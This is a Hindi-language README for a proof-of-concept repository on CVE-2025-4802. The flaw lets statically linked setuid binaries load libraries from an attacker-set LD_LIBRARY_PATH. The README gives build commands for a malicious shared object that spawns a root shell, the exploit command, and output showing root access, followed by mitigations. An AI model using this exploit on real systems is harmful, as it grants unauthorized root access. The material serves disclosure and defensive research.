betizzel/cve-2025-4802-proof-of-conceptdlopen के साथ LD_LIBRARY_PATH के प्रति संवेदनशील स्थिर रूप से संकलित setuid बाइनरी के लिए Proof of Concept
⚠️ अस्वीकरण: यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस एक्सप्लॉइट का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति नहीं है। दुरुपयोग कानूनों और विनियमों का उल्लंघन कर सकता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-4802 |
| प्रभावित सॉफ़्टवेयर | GNU C Library (glibc) |
| प्रभावित संस्करण | 2.27 – 2.38 |
| भेद्यता प्रकार | अविश्वसनीय LD_LIBRARY_PATH के माध्यम से प्रिविलेज एस्केलेशन |
| हमला वेक्टर | स्थानीय |
GNU C Library (glibc) संस्करण 2.27 से 2.38 में एक भेद्यता एक हमलावर को स्टैटिकली कंपाइल किए गए setuid बाइनरीज़ में LD_LIBRARY_PATH एनवायरनमेंट वेरिएबल का शोषण करने की अनुमति देती है जो dlopen() को कॉल करते हैं।
सामान्यतः, डायनामिक लिंकर setuid प्रोग्रामों के लिए LD_LIBRARY_PATH को सैनिटाइज़ करता है। हालाँकि, स्टैटिकली कंपाइल किए गए बाइनरीज़ डायनामिक लिंकर को पूरी तरह से बायपास कर देते हैं, इसलिए LD_LIBRARY_PATH कभी साफ़ नहीं किया जाता। जब ऐसी बाइनरी dlopen() को कॉल करती है (सीधे, या setlocale() या getaddrinfo() जैसे NSS फ़ंक्शनों के माध्यम से अप्रत्यक्ष रूप से), तो glibc हमलावर-नियंत्रित LD_LIBRARY_PATH का उपयोग करके शेयर्ड लाइब्रेरीज़ को रिज़ॉल्व करता है, जिससे उन्नत विशेषाधिकारों के साथ मनमाना कोड निष्पादन संभव हो जाता है।
dlopen("myso.so", ...) को कॉल करती है।ld-linux.so) कभी नहीं चलता, इसलिए LD_LIBRARY_PATH सैनिटाइज़ नहीं किया जाता।myso.so) बनाता है जो वही hello() सिंबल एक्सपोर्ट करता है लेकिन एक रूट शेल स्पॉन करता है।LD_LIBRARY_PATH को दुर्भावनापूर्ण लाइब्रेरी वाली डायरेक्टरी की ओर इंगित करने के लिए सेट करता है।.
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version से जाँचें)gcc, makemake all
या मैन्युअल रूप से:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
अपेक्षित आउटपुट:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH के साथ शोषण करें (दुर्भावनापूर्ण व्यवहार)LD_LIBRARY_PATH=./evil_library ./main
अपेक्षित आउटपुट:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
बाइनरी वैध लाइब्रेरी के बजाय evil_library/ से हमलावर की myso.so लोड करती है, जिससे एक रूट शेल स्पॉन होता है।
एक वीडियो वॉकथ्रू भी उपलब्ध है: proof_of_concept_video.mp4
dlopen() का उपयोग करने वाली setuid बाइनरीज़ के लिए स्टैटिक लिंकिंग से बचेंdlopen() कॉल में केवल लाइब्रेरी नामों के बजाय पूर्ण पथ का उपयोग करेंdlopen() को कॉल करने से पहले विशेषाधिकार छोड़ें